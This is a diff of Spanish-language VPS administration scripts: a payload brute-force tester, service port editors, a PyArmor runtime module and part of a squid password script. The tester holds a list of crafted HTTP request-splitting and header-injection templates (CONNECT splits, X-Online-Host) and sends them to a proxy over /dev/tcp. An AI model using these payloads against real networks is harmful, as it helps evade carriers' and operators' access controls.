+GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf][crlf][raw][crlf]CONNECT [crlf]
+GET http://mhost/ HTTP/1.1[crlf] Proxy-Authorization: Basic:Connection: X-Forward-Keep-AliveX-Online-Host:[crlf][crlf][netData][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf][crlf]
+[raw][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost/ [crlf][crlf]
+[raw][crlf]X-Online-Host: http://mhost[crlf][crlf]CONNECT[host_port] [protocol][crlf]X-Online-Host: mhost/ [crlf][crlf]
+CONNECT [host_port]@mhost/ HTTP/1.1[crlf]CONNECT mip:443 [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf][split]GET mhost/ HTTP/1.1[cr][crlf][raw][crlf] [crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
+GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf]GET mip:443@mhost/ HTTP/1.1[crlf][crlf]
+CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost/ User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive Connection: Transfer-Encoding[crlf] [protocol][crlf]User-Agent: [ua][crlf][raw][auth][crlf][crlf][netData][crlf] [crlf][crlf]
+[raw][crlf]Host: mhost[crlf]GET http://mhost/ HTTP/1.1[crlf]X-Online-Host: mhost[crlf][crlf]' > $esquelet
+}
+err_fun () {
+echo -e "${cor[5]} Operacion Invalida"
+exit
+}
+msg -bar
+msg -tit
+echo -e "${cor[3]}               PAYLOAD BRUTE FORCE "
+msg -bar
+gerar_pay () {
+# Coletando Host
+while [[ ! ${value1} ]]; do
+    read -p " Host Test: " value1
+done
+curl -I ${value1} > /dev/null 2>&1 || err_fun
+[[ $(echo ${value1}|rev|cut -c 1) = "/" ]] && valor1="${value1:0:$((${#value1}-1))}" || valor1="${value1}"
+valor2="127.0.0.1"
+msg -bar
+echo -e "${cor[5]} Request Method ${cor[3]}"
+cat <<EOF
+ [1] - GET        [2] - CONNECT  [3] - PUT     [4] - OPTIONS
+ [5] - DELETE     [6] - HEAD     [7] - PATCH   [8] - POST
+EOF
+msg -bar
+# Coletando Requisição
+while [[ ! ${req} ]]; do
+    read -p " => " valor3
+    case $valor3 in
+    1)req="GET";;
+    2)req="CONNECT";;
+    3)req="PUT";;
+    4)req="OPTIONS";;
+    5)req="DELETE";;
+    6)req="HEAD";;
+    7)req="PATCH";;
+    8)req="POST";;
+    esac
+done
+in="netData"
+gerar_arqpay
+sed -i "s;realData;abc;g" $esquelet
+sed -i "s;netData;abc;g" $esquelet
+sed -i "s;netdata;abc;g" $esquelet
+sed -i "s;raw;abc;g" $esquelet
+sed -i "s;abc;$in;g" $esquelet
+sed -i "s;GET;$req;g" $esquelet
+sed -i "s;mhost;$valor1;g" $esquelet
+sed -i "s;mip;$valor2;g" $esquelet
+msg -bar
+read -p " Digite el Proxy/Dropbear: " hostprox
+read -p " Digite el Puerto: " portx
+msg -bar
+echo -e "${cor[1]} STARTING..."
+msg -bar
+}
+while true; do
+echo -e " [1]-Testear Un Payload"
+echo -e " [2]-Testear Payloads Registrados"
+msg -bar
+read -p " [1-2]: " opx
+case $opx in
+1)
+read -p " Digite un Payload: " payloadx
+echo "$payloadx" > $esquelet
+sed -i "s;realData;abc;g" $esquelet
+sed -i "s;netData;abc;g" $esquelet
+sed -i "s;netdata;abc;g" $esquelet
+sed -i "s;raw;abc;g" $esquelet
+sed -i "s;abc;$in;g" $esquelet
+sed -i "s;GET;$req;g" $esquelet
+sed -i "s;mhost;$valor1;g" $esquelet
+sed -i "s;mip;$valor2;g" $esquelet
+construct_fun $esquelet
+read -p " Digite el Proxy/o Dropbear: " hostprox
+read -p " Digite el Puerto: " portx
+msg -bar
+break
+;;
+2)
+msg -bar
+gerar_pay
+construct_fun $esquelet
+break
+;;
+esac
+done
+read -p " Digite el Tiempo De Espera! (Segundos): " VARS
+msg -bar
+line=$(($(cat $esquelet|wc -l)+1))
+for((a=1; a<$line; a++)); do
+(
+echo -ne "${cor[1]}Payload: ${cor[3]}" >&2
+cat $esquelet|head -${a}|tail -1 >&2
+echo -ne "${cor[1]}Respuesta: ${cor[2]}" >&2
+pay="$(cat $esquelet|head -${a}|tail -1)"
+exec 5<>/dev/tcp/${hostprox}/${portx}
+echo "$pay" >&5
+echo -e "$(cat <&5|head -1)\n" >&2
+) & > /dev/null
+PID=$!
+sleep ${VARS}s
+kill -SIGINT $PID &>/dev/null && echo -e "Sin Respuesta\n"
+done
+echo -ne "\033[0m"

+ 233 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/ports.sh

@@ -0,0 +1,233 @@
+#!/bin/bash
+#27/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+port () {
+local portas
+local portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+i=0
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e ${portas}|grep -w "$var1 $var2")" ]] || {
+    portas+="$var1 $var2 $portas"
+    echo "$var1 $var2"
+    let i++
+    }
+done <<< "$portas_var"
+}
+verify_port () {
+local SERVICE="$1"
+local PORTENTRY="$2"
+[[ ! $(echo -e $(port|grep -v ${SERVICE})|grep -w "$PORTENTRY") ]] && return 0 || return 1
+}
+edit_squid () {
+
+msg -ama "$(fun_trans "REDEFINIR PUERTOS SQUID")"
+msg -bar
+if [[ -e /etc/squid/squid.conf ]]; then
+local CONF="/etc/squid/squid.conf"
+elif [[ -e /etc/squid3/squid.conf ]]; then
+local CONF="/etc/squid3/squid.conf"
+fi
+NEWCONF="$(cat ${CONF}|grep -v "http_port")"
+msg -ne "$(fun_trans "Nuevos Puertos"): "
+read -p "" newports
+for PTS in `echo ${newports}`; do
+verify_port squid "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
+echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
+return 1
+}
+done
+rm ${CONF}
+while read varline; do
+echo -e "${varline}" >> ${CONF}
+ if [[ "${varline}" = "#portas" ]]; then
+  for NPT in $(echo ${newports}); do
+  echo -e "http_port ${NPT}" >> ${CONF}
+  done
+ fi
+done <<< "${NEWCONF}"
+msg -azu "$(fun_trans "AGUARDE")"
+service squid restart &>/dev/null
+service squid3 restart &>/dev/null
+sleep 1s
+msg -bar
+msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
+msg -bar
+}
+edit_apache () {
+msg -azu "$(fun_trans "REDEFINIR PUERTOS APACHE")"
+msg -bar
+local CONF="/etc/apache2/ports.conf"
+local NEWCONF="$(cat ${CONF})"
+msg -ne "$(fun_trans "Nuevos Puertos"): "
+read -p "" newports
+for PTS in `echo ${newports}`; do
+verify_port apache "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
+echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
+return 1
+}
+done
+rm ${CONF}
+while read varline; do
+if [[ $(echo ${varline}|grep -w "Listen") ]]; then
+ if [[ -z ${END} ]]; then
+ echo -e "Listen ${newports}" >> ${CONF}
+ END="True"
+ else
+ echo -e "${varline}" >> ${CONF}
+ fi
+else
+echo -e "${varline}" >> ${CONF}
+fi
+done <<< "${NEWCONF}"
+msg -azu "$(fun_trans "AGUARDE")"
+service apache2 restart &>/dev/null
+sleep 1s
+msg -bar
+msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
+msg -bar
+}
+edit_openvpn () {
+msg -azu "$(fun_trans "REDEFINIR PUERTOS OPENVPN")"
+msg -bar
+local CONF="/etc/openvpn/server.conf"
+local CONF2="/etc/openvpn/client-common.txt"
+local NEWCONF="$(cat ${CONF}|grep -v [Pp]ort)"
+local NEWCONF2="$(cat ${CONF2})"
+msg -ne "$(fun_trans "Nuevos puertos"): "
+read -p "" newports
+for PTS in `echo ${newports}`; do
+verify_port openvpn "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
+echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
+return 1
+}
+done
+rm ${CONF}
+while read varline; do
+echo -e "${varline}" >> ${CONF}
+if [[ ${varline} = "proto tcp" ]]; then
+echo -e "port ${newports}" >> ${CONF}
+fi
+done <<< "${NEWCONF}"
+rm ${CONF2}
+while read varline; do
+if [[ $(echo ${varline}|grep -v "remote-random"|grep "remote") ]]; then
+echo -e "$(echo ${varline}|cut -d' ' -f1,2) ${newports} $(echo ${varline}|cut -d' ' -f4)" >> ${CONF2}
+else
+echo -e "${varline}" >> ${CONF2}
+fi
+done <<< "${NEWCONF2}"
+msg -azu "$(fun_trans "AGUARDE")"
+service openvpn restart &>/dev/null
+/etc/init.d/openvpn restart &>/dev/null
+sleep 1s
+msg -bar
+msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
+msg -bar
+}
+edit_dropbear () {
+msg -bar
+msg -azu "$(fun_trans "REDEFINIR PUERTOS DROPBEAR")"
+msg -bar
+local CONF="/etc/default/dropbear"
+local NEWCONF="$(cat ${CONF}|grep -v "DROPBEAR_EXTRA_ARGS")"
+msg -ne "$(fun_trans "Nuevos Puertos"): "
+read -p "" newports
+for PTS in `echo ${newports}`; do
+verify_port dropbear "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
+echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
+return 1
+}
+done
+rm ${CONF}
+while read varline; do
+echo -e "${varline}" >> ${CONF}
+ if [[ ${varline} = "NO_START=0" ]]; then
+ echo -e 'DROPBEAR_EXTRA_ARGS="VAR"' >> ${CONF}
+ for NPT in $(echo ${newports}); do
+ sed -i "s/VAR/-p ${NPT} VAR/g" ${CONF}
+ done
+ sed -i "s/VAR//g" ${CONF}
+ fi
+done <<< "${NEWCONF}"
+msg -azu "$(fun_trans "AGUARDE")"
+service dropbear restart &>/dev/null
+sleep 1s
+msg -bar
+msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
+msg -bar
+}
+edit_openssh () {
+msg -azu "$(fun_trans "REDEFINIR PUERTOS OPENSSH")"
+msg -bar
+local CONF="/etc/ssh/sshd_config"
+local NEWCONF="$(cat ${CONF}|grep -v [Pp]ort)"
+msg -ne "$(fun_trans "Nuevos Puertos"): "
+read -p "" newports
+for PTS in `echo ${newports}`; do
+verify_port sshd "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || {
+echo -e "\033[1;33mPort $PTS \033[1;31mFAIL"
+return 1
+}
+done
+rm ${CONF}
+for NPT in $(echo ${newports}); do
+echo -e "Port ${NPT}" >> ${CONF}
+done
+while read varline; do
+echo -e "${varline}" >> ${CONF}
+done <<< "${NEWCONF}"
+msg -azu "$(fun_trans "AGUARDE")"
+service ssh restart &>/dev/null
+service sshd restart &>/dev/null
+sleep 1s
+msg -bar
+msg -azu "$(fun_trans "PUERTOS REDEFINIDOS")"
+msg -bar
+}
+
+main_fun () {
+msg -bar2
+msg -tit ""
+msg -ama "                EDITAR PUERTOS ACTIVOS "
+msg -bar2
+unset newports
+i=0
+while read line; do
+let i++
+          case $line in
+          squid|squid3)squid=$i;; 
+          apache|apache2)apache=$i;; 
+          openvpn)openvpn=$i;; 
+          dropbear)dropbear=$i;; 
+          sshd)ssh=$i;; 
+          esac
+done <<< "$(port|cut -d' ' -f1|sort -u)"
+for((a=1; a<=$i; a++)); do
+[[ $squid = $a ]] && echo -ne "\033[1;32m [$squid] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS SQUID")"
+[[ $apache = $a ]] && echo -ne "\033[1;32m [$apache] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS APACHE")"
+[[ $openvpn = $a ]] && echo -ne "\033[1;32m [$openvpn] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS OPENVPN")"
+[[ $dropbear = $a ]] && echo -ne "\033[1;32m [$dropbear] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS DROPBEAR")"
+[[ $ssh = $a ]] && echo -ne "\033[1;32m [$ssh] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS SSH")"
+done
+echo -ne "$(msg -bar)\n\033[1;32m [0] > " && msg -azu "\e[97m\033[1;41m VOLVER \033[1;37m"
+msg -bar
+while true; do
+echo -ne "\033[1;37m$(fun_trans "Seleccione"): " && read selection
+tput cuu1 && tput dl1
+[[ ! -z $squid ]] && [[ $squid = $selection ]] && edit_squid && break
+[[ ! -z $apache ]] && [[ $apache = $selection ]] && edit_apache && break
+[[ ! -z $openvpn ]] && [[ $openvpn = $selection ]] && edit_openvpn && break
+[[ ! -z $dropbear ]] && [[ $dropbear = $selection ]] && edit_dropbear && break
+[[ ! -z $ssh ]] && [[ $ssh = $selection ]] && edit_openssh && break
+[[ "0" = $selection ]] && break
+done
+#exit 0
+}
+main_fun

تفاوت فایلی نمایش داده نمی شود زیرا این فایل بسیار بزرگ است
+ 3 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/speed.py


+ 464 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/speedtest_v1/__init__.py

@@ -0,0 +1,464 @@
+# These module alos are used by protection code, so that protection
+# code needn't import anything
+import os
+import platform
+import sys
+import struct
+
+# Because ctypes is new from Python 2.5, so pytransform doesn't work
+# before Python 2.5
+#
+from ctypes import cdll, c_char, c_char_p, c_int, c_void_p, \
+    pythonapi, py_object, PYFUNCTYPE, CFUNCTYPE
+from fnmatch import fnmatch
+
+#
+# Support Platforms
+#
+plat_path = 'platforms'
+
+plat_table = (
+    ('windows', ('windows', 'cygwin-*')),
+    ('darwin', ('darwin',)),
+    ('ios', ('ios',)),
+    ('linux', ('linux*',)),
+    ('freebsd', ('freebsd*', 'openbsd*')),
+    ('poky', ('poky',)),
+)
+
+arch_table = (
+    ('x86', ('i?86', )),
+    ('x86_64', ('x64', 'x86_64', 'amd64', 'intel')),
+    ('arm', ('armv5',)),
+    ('armv6', ('armv6l',)),
+    ('armv7', ('armv7l',)),
+    ('ppc64', ('ppc64le',)),
+    ('mips32', ('mips',)),
+    ('aarch32', ('aarch32',)),
+    ('aarch64', ('aarch64', 'arm64'))
+)
+
+#
+# Hardware type
+#
+HT_HARDDISK, HT_IFMAC, HT_IPV4, HT_IPV6, HT_DOMAIN = range(5)
+
+#
+# Global
+#
+_pytransform = None
+
+
+class PytransformError(Exception):
+    pass
+
+
+def dllmethod(func):
+    def wrap(*args, **kwargs):
+        return func(*args, **kwargs)
+    return wrap
+
+
+@dllmethod
+def version_info():
+    prototype = PYFUNCTYPE(py_object)
+    dlfunc = prototype(('version_info', _pytransform))
+    return dlfunc()
+
+
+@dllmethod
+def init_pytransform():
+    major, minor = sys.version_info[0:2]
+    # Python2.5 no sys.maxsize but sys.maxint
+    # bitness = 64 if sys.maxsize > 2**32 else 32
+    prototype = PYFUNCTYPE(c_int, c_int, c_int, c_void_p)
+    init_module = prototype(('init_module', _pytransform))
+    ret = init_module(major, minor, pythonapi._handle)
+    if (ret & 0xF000) == 0x1000:
+        raise PytransformError('Initialize python wrapper failed (%d)'
+                               % (ret & 0xFFF))
+    return ret
+
+
+@dllmethod
+def init_runtime():
+    prototype = PYFUNCTYPE(c_int, c_int, c_int, c_int, c_int)
+    _init_runtime = prototype(('init_runtime', _pytransform))
+    return _init_runtime(0, 0, 0, 0)
+
+
+@dllmethod
+def encrypt_code_object(pubkey, co, flags, suffix=''):
+    _pytransform.set_option(6, suffix.encode())
+    prototype = PYFUNCTYPE(py_object, py_object, py_object, c_int)
+    dlfunc = prototype(('encrypt_code_object', _pytransform))
+    return dlfunc(pubkey, co, flags)
+
+
+@dllmethod
+def generate_license_file(filename, priname, rcode, start=-1, count=1):
+    prototype = PYFUNCTYPE(c_int, c_char_p, c_char_p, c_char_p, c_int, c_int)
+    dlfunc = prototype(('generate_project_license_files', _pytransform))
+    return dlfunc(filename.encode(), priname.encode(), rcode.encode(),
+                  start, count) if sys.version_info[0] == 3 \
+        else dlfunc(filename, priname, rcode, start, count)
+
+
+@dllmethod
+def generate_license_key(prikey, keysize, rcode):
+    prototype = PYFUNCTYPE(py_object, c_char_p, c_int, c_char_p)
+    dlfunc = prototype(('generate_license_key', _pytransform))
+    return dlfunc(prikey, keysize, rcode) if sys.version_info[0] == 2 \
+        else dlfunc(prikey, keysize, rcode.encode())
+
+
+@dllmethod
+def get_registration_code():
+    prototype = PYFUNCTYPE(py_object)
+    dlfunc = prototype(('get_registration_code', _pytransform))
+    return dlfunc()
+
+
+@dllmethod
+def get_expired_days():
+    prototype = PYFUNCTYPE(py_object)
+    dlfunc = prototype(('get_expired_days', _pytransform))
+    return dlfunc()
+
+
+@dllmethod
+def clean_obj(obj, kind):
+    prototype = PYFUNCTYPE(c_int, py_object, c_int)
+    dlfunc = prototype(('clean_obj', _pytransform))
+    return dlfunc(obj, kind)
+
+
+def clean_str(*args):
+    tdict = {
+        'str': 0,
+        'bytearray': 1,
+        'unicode': 2
+    }
+    for obj in args:
+        k = tdict.get(type(obj).__name__)
+        if k is None:
+            raise RuntimeError('Can not clean object: %s' % obj)
+        clean_obj(obj, k)
+
+
+def get_hd_info(hdtype, name=None):
+    if hdtype not in range(HT_DOMAIN + 1):
+        raise RuntimeError('Invalid parameter hdtype: %s' % hdtype)
+    size = 256
+    t_buf = c_char * size
+    buf = t_buf()
+    cname = c_char_p(0 if name is None
+                     else name.encode('utf-8') if hasattr('name', 'encode')
+                     else name)
+    if (_pytransform.get_hd_info(hdtype, buf, size, cname) == -1):
+        raise PytransformError('Get hardware information failed')
+    return buf.value.decode()
+
+
+def show_hd_info():
+    return _pytransform.show_hd_info()
+
+
+def assert_armored(*names):
+    prototype = PYFUNCTYPE(py_object, py_object)
+    dlfunc = prototype(('assert_armored', _pytransform))
+
+    def wrapper(func):
+        def wrap_execute(*args, **kwargs):
+            dlfunc(names)
+            return func(*args, **kwargs)
+        return wrap_execute
+    return wrapper
+
+
+def check_armored(*names):
+    try:
+        prototype = PYFUNCTYPE(py_object, py_object)
+        prototype(('assert_armored', _pytransform))(names)
+        return True
+    except RuntimeError:
+        return False
+
+
+def get_license_info():
+    info = {
+        'ISSUER': None,
+        'EXPIRED': None,
+        'HARDDISK': None,
+        'IFMAC': None,
+        'IFIPV4': None,
+        'DOMAIN': None,
+        'DATA': None,
+        'CODE': None,
+    }
+    rcode = get_registration_code().decode()
+    if rcode.startswith('*VERSION:'):
+        index = rcode.find('\n')
+        info['ISSUER'] = rcode[9:index].split('.')[0].replace('-sn-1.txt', '')
+        rcode = rcode[index+1:]
+
+    index = 0
+    if rcode.startswith('*TIME:'):
+        from time import ctime
+        index = rcode.find('\n')
+        info['EXPIRED'] = ctime(float(rcode[6:index]))
+        index += 1
+
+    if rcode[index:].startswith('*FLAGS:'):
+        index += len('*FLAGS:') + 1
+        info['FLAGS'] = ord(rcode[index - 1])
+
+    prev = None
+    start = index
+    for k in ['HARDDISK', 'IFMAC', 'IFIPV4', 'DOMAIN', 'FIXKEY', 'CODE']:
+        index = rcode.find('*%s:' % k)
+        if index > -1:
+            if prev is not None:
+                info[prev] = rcode[start:index]
+            prev = k
+            start = index + len(k) + 2
+    info['CODE'] = rcode[start:]
+    i = info['CODE'].find(';')
+    if i > 0:
+        info['DATA'] = info['CODE'][i+1:]
+        info['CODE'] = info['CODE'][:i]
+    return info
+
+
+def get_license_code():
+    return get_license_info()['CODE']
+
+
+def get_user_data():
+    return get_license_info()['DATA']
+
+
+def _match_features(patterns, s):
+    for pat in patterns:
+        if fnmatch(s, pat):
+            return True
+
+
+def _gnu_get_libc_version():
+    try:
+        prototype = CFUNCTYPE(c_char_p)
+        ver = prototype(('gnu_get_libc_version', cdll.LoadLibrary('')))()
+        return ver.decode().split('.')
+    except Exception:
+        pass
+
+
+def format_platform(platid=None):
+    if platid:
+        return os.path.normpath(platid)
+
+    plat = platform.system().lower()
+    mach = platform.machine().lower()
+
+    for alias, platlist in plat_table:
+        if _match_features(platlist, plat):
+            plat = alias
+            break
+
+    if plat == 'linux':
+        cname, cver = platform.libc_ver()
+        if cname == 'musl':
+            plat = 'musl'
+        elif cname == 'libc':
+            plat = 'android'
+        elif cname == 'glibc':
+            v = _gnu_get_libc_version()
+            if v and len(v) >= 2 and (int(v[0]) * 100 + int(v[1])) < 214:
+                plat = 'centos6'
+
+    for alias, archlist in arch_table:
+        if _match_features(archlist, mach):
+            mach = alias
+            break
+
+    if plat == 'windows' and mach == 'x86_64':
+        bitness = struct.calcsize('P'.encode()) * 8
+        if bitness == 32:
+            mach = 'x86'
+
+    return os.path.join(plat, mach)
+
+
+# Load _pytransform library
+def _load_library(path=None, is_runtime=0, platid=None, suffix='', advanced=0):
+    path = os.path.dirname(__file__) if path is None \
+        else os.path.normpath(path)
+
+    plat = platform.system().lower()
+    name = '_pytransform' + suffix
+    if plat == 'linux':
+        filename = os.path.abspath(os.path.join(path, name + '.so'))
+    elif plat == 'darwin':
+        filename = os.path.join(path, name + '.dylib')
+    elif plat == 'windows':
+        filename = os.path.join(path, name + '.dll')
+    elif plat == 'freebsd':
+        filename = os.path.join(path, name + '.so')
+    else:
+        raise PytransformError('Platform %s not supported' % plat)
+
+    if platid is not None and os.path.isfile(platid):
+        filename = platid
+    elif platid is not None or not os.path.exists(filename) or not is_runtime:
+        libpath = platid if platid is not None and os.path.isabs(platid) else \
+            os.path.join(path, plat_path, format_platform(platid))
+        filename = os.path.join(libpath, os.path.basename(filename))
+
+    if not os.path.exists(filename):
+        raise PytransformError('Could not find "%s"' % filename)
+
+    try:
+        m = cdll.LoadLibrary(filename)
+    except Exception as e:
+        if sys.flags.debug:
+            print('Load %s failed:\n%s' % (filename, e))
+        raise
+
+    # Removed from v4.6.1
+    # if plat == 'linux':
+    #     m.set_option(-1, find_library('c').encode())
+
+    if not os.path.abspath('.') == os.path.abspath(path):
+        m.set_option(1, path.encode() if sys.version_info[0] == 3 else path)
+
+    # Required from Python3.6
+    m.set_option(2, sys.byteorder.encode())
+
+    if sys.flags.debug:
+        m.set_option(3, c_char_p(1))
+    m.set_option(4, c_char_p(not is_runtime))
+
+    # Disable advanced mode by default
+    m.set_option(5, c_char_p(not advanced))
+
+    # Set suffix for private package
+    if suffix:
+        m.set_option(6, suffix.encode())
+
+    return m
+
+
+def pyarmor_init(path=None, is_runtime=0, platid=None, suffix='', advanced=0):
+    global _pytransform
+    _pytransform = _load_library(path, is_runtime, platid, suffix, advanced)
+    return init_pytransform()
+
+
+def pyarmor_runtime(path=None, suffix='', advanced=0):
+    if _pytransform is not None:
+        return
+
+    try:
+        pyarmor_init(path, is_runtime=1, suffix=suffix, advanced=advanced)
+        init_runtime()
+    except Exception as e:
+        if sys.flags.debug or hasattr(sys, '_catch_pyarmor'):
+            raise
+        sys.stderr.write("%s\n" % str(e))
+        sys.exit(1)
+
+
+# ----------------------------------------------------------
+# End of pytransform
+# ----------------------------------------------------------
+
+#
+# Not available from v5.6
+#
+
+
+def generate_capsule(licfile):
+    prikey, pubkey, prolic = _generate_project_capsule()
+    capkey, newkey = _generate_pytransform_key(licfile, pubkey)
+    return prikey, pubkey, capkey, newkey, prolic
+
+
+@dllmethod
+def _generate_project_capsule():
+    prototype = PYFUNCTYPE(py_object)
+    dlfunc = prototype(('generate_project_capsule', _pytransform))
+    return dlfunc()
+
+
+@dllmethod
+def _generate_pytransform_key(licfile, pubkey):
+    prototype = PYFUNCTYPE(py_object, c_char_p, py_object)
+    dlfunc = prototype(('generate_pytransform_key', _pytransform))
+    return dlfunc(licfile.encode() if sys.version_info[0] == 3 else licfile,
+                  pubkey)
+
+
+#
+# Deprecated functions from v5.1
+#
+@dllmethod
+def encrypt_project_files(proname, filelist, mode=0):
+    prototype = PYFUNCTYPE(c_int, c_char_p, py_object, c_int)
+    dlfunc = prototype(('encrypt_project_files', _pytransform))
+    return dlfunc(proname.encode(), filelist, mode)
+
+
+def generate_project_capsule(licfile):
+    prikey, pubkey, prolic = _generate_project_capsule()
+    capkey = _encode_capsule_key_file(licfile)
+    return prikey, pubkey, capkey, prolic
+
+
+@dllmethod
+def _encode_capsule_key_file(licfile):
+    prototype = PYFUNCTYPE(py_object, c_char_p, c_char_p)
+    dlfunc = prototype(('encode_capsule_key_file', _pytransform))
+    return dlfunc(licfile.encode(), None)
+
+
+@dllmethod
+def encrypt_files(key, filelist, mode=0):
+    t_key = c_char * 32
+    prototype = PYFUNCTYPE(c_int, t_key, py_object, c_int)
+    dlfunc = prototype(('encrypt_files', _pytransform))
+    return dlfunc(t_key(*key), filelist, mode)
+
+
+@dllmethod
+def generate_module_key(pubname, key):
+    t_key = c_char * 32
+    prototype = PYFUNCTYPE(py_object, c_char_p, t_key, c_char_p)
+    dlfunc = prototype(('generate_module_key', _pytransform))
+    return dlfunc(pubname.encode(), t_key(*key), None)
+
+#
+# Compatible for PyArmor v3.0
+#
+@dllmethod
+def old_init_runtime(systrace=0, sysprofile=1, threadtrace=0, threadprofile=1):
+    '''Only for old version, before PyArmor 3'''
+    pyarmor_init(is_runtime=1)
+    prototype = PYFUNCTYPE(c_int, c_int, c_int, c_int, c_int)
+    _init_runtime = prototype(('init_runtime', _pytransform))
+    return _init_runtime(systrace, sysprofile, threadtrace, threadprofile)
+
+
+@dllmethod
+def import_module(modname, filename):
+    '''Only for old version, before PyArmor 3'''
+    prototype = PYFUNCTYPE(py_object, c_char_p, c_char_p)
+    _import_module = prototype(('import_module', _pytransform))
+    return _import_module(modname.encode(), filename.encode())
+
+
+@dllmethod
+def exec_file(filename):
+    '''Only for old version, before PyArmor 3'''
+    prototype = PYFUNCTYPE(c_int, c_char_p)
+    _exec_file = prototype(('exec_file', _pytransform))
+    return _exec_file(filename.encode())

BIN
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/speedtest_v1/__init__.pyc


BIN
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/speedtest_v1/_pytransform.so


+ 168 - 0
SCRIPT-v8.4g Oficial/VPS-MX/herramientas/squidpass.sh

@@ -0,0 +1,168 @@
+#!/bin/bash
+#27/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+fun_bar () {
+comando[0]="$1"
+comando[1]="$2"
+ (
+[[ -e $HOME/fim ]] && rm $HOME/fim
+${comando[0]} -y > /dev/null 2>&1
+${comando[1]} -y > /dev/null 2>&1
+touch $HOME/fim
+ ) > /dev/null 2>&1 &
+echo -ne "\033[1;33m ["
+while true; do
+   for((i=0; i<18; i++)); do
+   echo -ne "\033[1;31m##"
+   sleep 0.1s
+   done
+   [[ -e $HOME/fim ]] && rm $HOME/fim && break
+   echo -e "\033[1;33m]"
+   sleep 1s
+   tput cuu1
+   tput dl1
+   echo -ne "\033[1;33m ["
+done
+echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m"
+}
+
+#PREENXE A VARIAVEL $IP
+meu_ip () {
+MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
+}
+
+squidpass () {
+tmp_arq="/tmp/arq-tmp"
+if [ -d "/etc/squid" ]; then
+pwd="/etc/squid/passwd"
+config_="/etc/squid/squid.conf"
+service_="squid"
+squid_="0"
+elif [ -d "/etc/squid3" ]; then
+pwd="/etc/squid3/passwd"
+config_="/etc/squid3/squid.conf"
+service_="squid3"
+squid_="1"
+fi
+[[ ! -e $config_ ]] && 
+msg -bar && 
+echo -e " \033[1;36m Proxy Squid no Instalado no puede proseguir" && 
+msg -bar && 
+return 0
+if [ -e $pwd ]; then 
+echo -e "${cor[3]} Desea Desactivar Autentificasion del Proxy Squid"
+read -p " [S/N]: " -e -i n sshsn
+[[ "$sshsn" = @(s|S|y|Y) ]] && {
+msg -bar
